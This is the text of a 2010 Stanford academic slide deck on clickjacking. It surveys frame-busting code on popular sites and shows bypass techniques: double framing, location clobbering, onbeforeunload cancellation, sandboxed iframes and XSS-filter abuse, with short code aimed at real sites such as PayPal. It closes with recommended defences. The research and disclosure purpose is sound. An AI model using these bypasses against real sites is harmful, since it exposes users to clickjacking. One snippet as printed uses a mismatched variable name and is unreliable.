Busting Frame Busting

Gustav Rydstedt  
Stanford University  
rydstedt@stanford.edu

Joint work with Elie Burzstein, Dan Boneh, Collin Jackson

June 23 2010
Busting Frame Busting
A Study of Clickjacking Vulnerabilities on Popular Sites

Gustav Rydstedt, Elie Burzstein, Dan Boneh, Collin Jackson
What is frame busting?

- HTML allows for any site to frame any URL with an **IFRAME** (internal frame)

```
<iframe src="http://www.google.com">
Ignored by most browsers
</iframe>
```
What is frame busting?

- Frame busting are techniques for preventing framing by the framed site.
What is framebusting?

Common frame busting code is made up of:
- a conditional statement
- a counter action

```javascript
if (top != self) {
    top.location = self.location;
}
```
Why frame busting?
Primary: Clickjacking
Clickjacking 2.0
(Paul Stone, BHEU ‘10)

Utilizing drag and drop:

Grab data off the page
(including source code, form data)

Get data into the page
(forms etc.)

Fingerprint individual objects in the framed page
Survey


- Used semi-automated crawler based on HTMLUnit.

- Manual work to trace through obfuscated and packed code.
## Survey

<table>
<thead>
<tr>
<th>Sites</th>
<th>Framebusting</th>
</tr>
</thead>
<tbody>
<tr>
<td>Top 10</td>
<td>60%</td>
</tr>
<tr>
<td>Top 100</td>
<td>37%</td>
</tr>
<tr>
<td>Top 500</td>
<td>14%</td>
</tr>
</tbody>
</table>
### Conditional Statements

<table>
<thead>
<tr>
<th>Condition</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>if (top != self)</code></td>
</tr>
<tr>
<td><code>if (top.location != self.location)</code></td>
</tr>
<tr>
<td><code>if (top.location != location)</code></td>
</tr>
<tr>
<td><code>if (parent.frames.length &gt; 0)</code></td>
</tr>
<tr>
<td><code>if (window != top)</code></td>
</tr>
<tr>
<td><code>if (window.top !== window.self)</code></td>
</tr>
<tr>
<td><code>if (window.self != window.top)</code></td>
</tr>
<tr>
<td><code>if (parent &amp;&amp; parent != window)</code></td>
</tr>
<tr>
<td><code>if (parent &amp;&amp; parent.frames &amp;&amp;</code></td>
</tr>
<tr>
<td><code>parent.frames.length&gt;0)</code></td>
</tr>
<tr>
<td><code>if((self.parent&amp; &amp;</code></td>
</tr>
<tr>
<td><code>!(self.parent===self))&amp; &amp;</code></td>
</tr>
<tr>
<td><code>(self.parent.frames.length! =0))</code></td>
</tr>
<tr>
<td>Counter-Action Statements</td>
</tr>
<tr>
<td>---------------------------</td>
</tr>
<tr>
<td>top.location = self.location</td>
</tr>
<tr>
<td>top.location.href = document.location.href</td>
</tr>
<tr>
<td>top.location.href = self.location.href</td>
</tr>
<tr>
<td>top.location.replace(self.location)</td>
</tr>
<tr>
<td>top.location.href = window.location.href</td>
</tr>
<tr>
<td>top.location.replace(document.location)</td>
</tr>
<tr>
<td>top.location.href = window.location.href</td>
</tr>
<tr>
<td>top.location.href = &quot;URL&quot;</td>
</tr>
<tr>
<td>document.write('')</td>
</tr>
<tr>
<td>top.location = location</td>
</tr>
<tr>
<td>top.location.replace(document.location)</td>
</tr>
<tr>
<td>top.location.replace('URL')</td>
</tr>
<tr>
<td>top.location.href = document.location</td>
</tr>
<tr>
<td>top.location.replace(window.location.href)</td>
</tr>
<tr>
<td>top.location.href = location.href</td>
</tr>
<tr>
<td>self.parent.location = document.location</td>
</tr>
<tr>
<td>parent.location.href = self.document.location</td>
</tr>
<tr>
<td>top.location.href = self.location</td>
</tr>
<tr>
<td>top.location = window.location</td>
</tr>
<tr>
<td>top.location.replace(window.location.pathname)</td>
</tr>
<tr>
<td>window.top.location = window.self.location</td>
</tr>
<tr>
<td>setTimeout(function(){document.body.innerHTML='';},1);</td>
</tr>
<tr>
<td>window.self.onload = function(evt){document.body.innerHTML=''}</td>
</tr>
<tr>
<td>var url = window.location.href; top.location.replace(url)</td>
</tr>
</tbody>
</table>
All frame busting code we found was broken
Let’s check out some poorly written code!
if (top.location != location) {
    if(document.referrer &&
        document.referrer.indexOf("walmart.com") == -1)
    {
        top.location.replace(document.location.href);
    }
}
Error in Referrer Checking


<iframe src="http://www.walmart.com"/>

Limit use of indexOf(...)
if (window.self != window.top &&
!document.referrer.match(
/https?:\/\/[\^?\-]+\.[nytimes\.com]+/))
{
    self.location = top.location;
}
Error in Referrer Checking

<iframe src="http://www.nytimes.com">
Anchor your regular expressions.
if (self != top) {
    var domain = getDomain(document.referrer);
    var okDomains = /usbank|localhost|usbnet/;
    var matchDomain = domain.search(okDomains);

    if (matchDomain == -1) {
        //frame bust
    }
}
Error in Referrer Checking

From http://usbank.attacker.com/
<br>
<iframe src="http://www.usbank.com">
Don’t make your regular expressions too lax.
Strategic Relationship?

Norweigan State House Bank

http://www.husbanken.no
Strategic Relationship?

Bank of Moscow

http://www.rusb ank.org
try{
    A=!top.location.href
}catch(B){}

A=A&&
!(document.referrer.match(/^[^https?:\/]\[-az09.]*\.(google\.co\.|com\.?) [a-z]+\s\/[imgres]/i))&&
!(document.referrer.match(/^[^https?:\/]\[^/\]*\.(myspace\.com|myspace\.cn|simsidekick\.com|levisawards\.com|digg\.com)\//)));

if(A){  //Framebust  }
The people **you trust** might not frame bust

Google Images *does not* frame bust.
Referrer = Funky Stuff

Many attacks on referrer: washing/changing

Open redirect referrer changer

HTTPS->HTTP washing

Can be hard to get regular expression right (apparently)

“Friends” cannot be trusted
## Facebook Dark Layer

### My Account

<table>
<thead>
<tr>
<th>Setting</th>
<th>Value</th>
</tr>
</thead>
<tbody>
<tr>
<td>Name</td>
<td>Gustav Goose Rydstedt</td>
</tr>
<tr>
<td>Username</td>
<td>gustav.rydstedt</td>
</tr>
<tr>
<td>Email</td>
<td><a href="mailto:rydstedt@stanford.edu">rydstedt@stanford.edu</a></td>
</tr>
<tr>
<td>Password</td>
<td>********</td>
</tr>
</tbody>
</table>

### Account Settings

<table>
<thead>
<tr>
<th>Setting</th>
<th>Action</th>
</tr>
</thead>
<tbody>
<tr>
<td>Linked Accounts</td>
<td>change</td>
</tr>
<tr>
<td>Privacy</td>
<td>manage</td>
</tr>
<tr>
<td>Deactivate Account</td>
<td>deactivate</td>
</tr>
</tbody>
</table>

---

Facebook © 2010 English (US)
Facebook deploys an exotic variant:

```javascript
if (top != self) {
    try {
        if (top.location.hostname.indexOf("apps") >= 0) throw 1;
    } catch (e) {
        window.document.write("<div style=
            'background: black;
            opacity: 0.5; filter: alpha(opacity = 50);
            position: absolute; top: 0px; left: 0px;
            width: 9999px; height: 9999px;
            z-index: 1000001'
            onClick='top.location.href=window.location.href'>
            </div>");
    }
}
```
Facebook – Ray of Light!

All Facebook content is centered! We can push the content into the ray of light outside of the div.

<iframe width="21800px" height="2500px" src="http://facebook.com">
<script>
window.scrollTo(10200, 0);
</script>
Facebook – Ray of Light!
Generic Browser Weaponry!
if(top.location != self.location) {
    parent.location = self.location;
}
Double Framing!

framed1.html

<iframe src="framed2.html">

framed2.html

<iframe src="victim.com"
Descendant Policy

- Introduced in *Securing frame communication in browsers.* (Adam Barth, Collin Jackson, and John Mitchell. 2009)

Descendant Policy

A frame can navigate only its decedents.

top.location = self.location is allowed special case.
Location Clobbering

```javascript
if (top.location != self.location) {
    top.location = self.location;
}
```

If `top.location` can be changed or disabled this code is **useless**.

But our *trusted* browser would never let such atrocities happen... **right?**
Location Clobbering

IE 7:

```javascript
var location = "clobbered";
```

Safari:

```javascript
window.__defineSetter__('location', function(){});
```

top.location is now undefined. 😞

http://code.google.com/p/browsersec/wiki/Part2#Arbitrary_page_mashups_(UI_redressing)
Asking Nicely

- User can manually cancel any redirection attempt made by frame busting code.
- Attacker just needs to ask...

```
<script>
    window.onbeforeunload = function() {
        return "Do you want to leave PayPal?";
    }
</script>
<iframe src="http://www.paypal.com">
```
Asking Nicely
Not Asking Nicely

Actually, we don’t have to ask nicely at all. Most browser allows to cancel the relocation “programmatically”.

```javascript
var prevent_bust = 0
window.onbeforeunload = function() {kill_bust++ }
setInterval(function() {
    if (kill_bust > 0) {
        kill_bust -= 2;
        window.top.location = 'http://no-content-204.com'
    }
}, 1);
```

<iframe src="http://www.victim.com">

Restricted zones

- **IE 8:**
  
  `<iframe security="restricted" src="http://www.victim.com">`

  Javascript and Cookies disabled

- **Chrome (HTML5):**
  
  `<iframe sandbox src="http://www.victim.com">`

  Javascript disabled (cookies still there)

- **IE 8 and Firefox:**

  `designMode = on`  
  
  Javascript disabled (more cookies)  
  
  (Paul Stone BHEU‘10)
Reflective XSS filters

Internet Explorer 8 introduced reflective XSS filters:

http://www.victim.com?var=<script> alert('xss')

If `<script> alert('xss');` appears in the rendered page, the filter will replace it with `<script> alert('xss')`
Reflective XSS filters

Can be used to target frame busting

(Eduardo Vela ’09)

Original

```html
<script> if(top.location != self.location) //framebust </script>
```

Request > http://www.victim.com?var=<script> if (top

Rendered

```html
<sc#pt> if(top.location != self.location)
```

Chrome’s XSS auditor, same problem.
Is there any hope?

Well, sort of...
X-Frames-Options (IE8)

- HTTP header sent on responses
- Two possible values: DENY and SAMEORIGIN
- On DENY, will not render in framed context.
- On SAMEORIGIN, only render if top frame is same origin as page giving directive.
X-Frames-Options

- Good adoption by browsers (all but Firefox, coming in 3.7)

- Poor adoption by sites (4 out of top 10000, survey by sans.org)

- Some limitations: per-page policy, no whitelisting, and proxy stripping.
Content Security Policy (FF)

- Also a HTTP-Header.

- Allows the site to specific restrictions/abilities.

- The `frame-ancestors` directive can specify allowed framers.

- Still in beta, coming in Firefox 3.7
Best for now
(but still not good)

```html
<style>html { display:none }</style>
<script>
if (self == top) {
    document.documentElement.style.display = 'block';
} else {
    top.location = self.location;
}
</script>

Don’t use visibility: hidden (leak attacks still possible)
... a little bit more.

These sites (among others) do frame busting...
... a little bit more.

... but do these?
No, they generally don’t…

<table>
<thead>
<tr>
<th>Site</th>
<th>URL</th>
<th>Framebusting</th>
</tr>
</thead>
<tbody>
<tr>
<td>Facebook</td>
<td><a href="http://m.facebook.com/">http://m.facebook.com/</a></td>
<td>YES</td>
</tr>
<tr>
<td>MSN</td>
<td><a href="http://home.mobile.msn.com/">http://home.mobile.msn.com/</a></td>
<td>NO</td>
</tr>
<tr>
<td>GMail</td>
<td><a href="http://m.gmail.com">http://m.gmail.com</a></td>
<td>NO</td>
</tr>
<tr>
<td>Baidu</td>
<td><a href="http://m.baidu.com">http://m.baidu.com</a></td>
<td>NO</td>
</tr>
<tr>
<td>Twitter</td>
<td><a href="http://mobile.twitter.com">http://mobile.twitter.com</a></td>
<td>NO</td>
</tr>
<tr>
<td>MegaVideo</td>
<td><a href="http://mobile.megavideo.com/">http://mobile.megavideo.com/</a></td>
<td>NO</td>
</tr>
<tr>
<td>Tube8</td>
<td><a href="http://m.tube8.com">http://m.tube8.com</a></td>
<td>NO</td>
</tr>
<tr>
<td>PayPal</td>
<td><a href="http://mobile.paypal.com">http://mobile.paypal.com</a></td>
<td>NO</td>
</tr>
<tr>
<td>USBank</td>
<td><a href="http://mobile.usbank.com">http://mobile.usbank.com</a></td>
<td>NO</td>
</tr>
<tr>
<td>First Interstate Bank</td>
<td><a href="http://firstinterstate.mobi">http://firstinterstate.mobi</a></td>
<td>NO</td>
</tr>
<tr>
<td>NewEgg</td>
<td><a href="http://m.newegg.com/">http://m.newegg.com/</a></td>
<td>NO</td>
</tr>
<tr>
<td>MetaCafe</td>
<td><a href="http://m.metacafe.com/">http://m.metacafe.com/</a></td>
<td>NO</td>
</tr>
<tr>
<td>RenRen</td>
<td><a href="http://m.renren.com/">http://m.renren.com/</a></td>
<td>NO</td>
</tr>
<tr>
<td>MySpace</td>
<td><a href="http://m.myspace.com">http://m.myspace.com</a></td>
<td>NO</td>
</tr>
<tr>
<td>VKontakte</td>
<td><a href="http://pda.vkontakte.ru/">http://pda.vkontakte.ru/</a></td>
<td>NO</td>
</tr>
<tr>
<td>WellsFargo</td>
<td><a href="https://m.wf.com/">https://m.wf.com/</a></td>
<td>NO</td>
</tr>
<tr>
<td>NyTimes</td>
<td><a href="http://m.nytimes.com">http://m.nytimes.com</a></td>
<td>Redirect</td>
</tr>
<tr>
<td>E-Zine Articles</td>
<td><a href="http://m.ezinearticles.com">http://m.ezinearticles.com</a></td>
<td>Redirect</td>
</tr>
</tbody>
</table>
Summary

- All framebusting code out there can be broken across browsers in several different ways.
- Defenses are on the way, but not yet widely adopted.
- Relying on referrer is difficult.
- If JS is disabled, don’t render the page.
- Framebust your mobile sites!
Questions?

rydstedt@stanford.edu